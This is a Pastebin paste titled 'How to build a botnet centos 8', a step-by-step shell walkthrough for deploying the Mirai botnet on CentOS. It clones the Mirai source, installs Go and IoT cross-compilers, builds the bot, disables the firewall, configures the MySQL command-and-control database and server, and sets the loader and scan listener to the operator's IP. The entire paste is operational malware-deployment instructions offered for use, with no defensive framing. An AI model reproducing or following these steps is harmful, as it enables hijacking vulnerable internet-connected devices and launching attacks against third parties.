Advertisement
Sweetening

How to build a botnet centos 8

Sep 26th, 2024
31
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.38 KB | None | 0 0
  1. # Clone Mirai source code
  2. git clone https://github.com/jgamblin/Mirai-Source-Code
  3. cd Mirai-Source-Code
  4.  
  5. # Update system and install required packages
  6. dnf update -y
  7. dnf install epel-release -y
  8. dnf groupinstall "Development Tools" -y
  9. dnf install gmp-devel -y
  10. sudo ln -s /usr/lib64/libgmp.so.3 /usr/lib64/libgmp.so.10
  11. dnf install gcc gcc-c++ sudo git -y
  12.  
  13. # Install Go (version updated to 1.5 may not work with current Golang, you can update the link as needed)
  14. cd /tmp
  15. wget https://go.dev/dl/go1.5.linux-amd64.tar.gz
  16. tar -zxvf go1.5.linux-amd64.tar.gz && mv go /usr/local && rm -f go1.5.linux-amd64.tar.gz
  17. ln -s /usr/local/go/bin/go /usr/local/bin/go
  18. ln -s /usr/local/go/bin/godoc /usr/local/bin/godoc
  19. ln -s /usr/local/go/bin/gofmt /usr/local/bin/gofmt
  20. go version
  21.  
  22. # Set up cross-compilers
  23. mkdir /etc/xcompile && cd /etc/xcompile
  24. wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv4l.tar.bz2
  25. wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2
  26. wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2
  27. wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2
  28. wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2
  29. wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2
  30. wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2
  31. wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2
  32. wget http://distro.ibiblio.org/slitaz/sources/packages/c/cross-compiler-armv6l.tar.bz2
  33.  
  34. # Extract cross-compilers
  35. for compiler in *.tar.bz2; do tar -jxf $compiler; done
  36. rm *.tar.bz2
  37.  
  38. # Rename directories
  39. mv cross-compiler-armv4l armv4l
  40. mv cross-compiler-i586 i586
  41. mv cross-compiler-m68k m68k
  42. mv cross-compiler-mips mips
  43. mv cross-compiler-mipsel mipsel
  44. mv cross-compiler-powerpc powerpc
  45. mv cross-compiler-sh4 sh4
  46. mv cross-compiler-sparc sparc
  47. mv cross-compiler-armv6l armv6l
  48.  
  49. # Set environment variables
  50. export PATH=$PATH:/etc/xcompile/armv4l/bin
  51. export PATH=$PATH:/etc/xcompile/armv6l/bin
  52. export PATH=$PATH:/etc/xcompile/i586/bin
  53. export PATH=$PATH:/etc/xcompile/m68k/bin
  54. export PATH=$PATH:/etc/xcompile/mips/bin
  55. export PATH=$PATH:/etc/xcompile/mipsel/bin
  56. export PATH=$PATH:/etc/xcompile/powerpc/bin
  57. export PATH=$PATH:/etc/xcompile/sh4/bin
  58. export PATH=$PATH:/etc/xcompile/sparc/bin
  59. export PATH=$PATH:/usr/local/go/bin
  60. export GOPATH=$HOME/Documents/go
  61.  
  62. # Install Go packages
  63. go get github.com/go-sql-driver/mysql
  64. go get github.com/mattn/go-shellwords
  65.  
  66. # Build the project
  67. ./build.sh debug telnet
  68.  
  69. # Mirai C&C setup (Database)
  70. sudo systemctl stop firewalld
  71. mysql_secure_installation
  72.  
  73. # Set up MySQL database
  74. mysql -u root -p
  75. create database mirai;
  76. use mirai;
  77.  
  78. # Paste database script from: http://pastebin.com/BsSWnK7i
  79. # Update CNC credentials in main.go (example: 127.0.0.1:3306)
  80. service mysql restart
  81.  
  82. # Compile and run CNC
  83. cd /mirai/release
  84. ./cnc
  85.  
  86. # Set up loader
  87. nano /Mirai-Source-Code/dlr/main.c
  88. # Update HTTP_SERVER line: #define HTTP_SERVER utils_inet_addr(127,0,0,1)
  89. cp /Mirai-Source-Code-master/dlr/release/dlr.* /Mirai-Source-Code-master/loader/bins
  90. nano /Mirai-Source-Code/loader/src/main.c
  91. # Add your server IP
  92.  
  93. # Build loader
  94. chmod 777 build.sh
  95. ./build.sh
  96.  
  97. # Update scanListen with your IP and build
  98. nano scanListen.go
  99. go build scanListen.go
  100.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement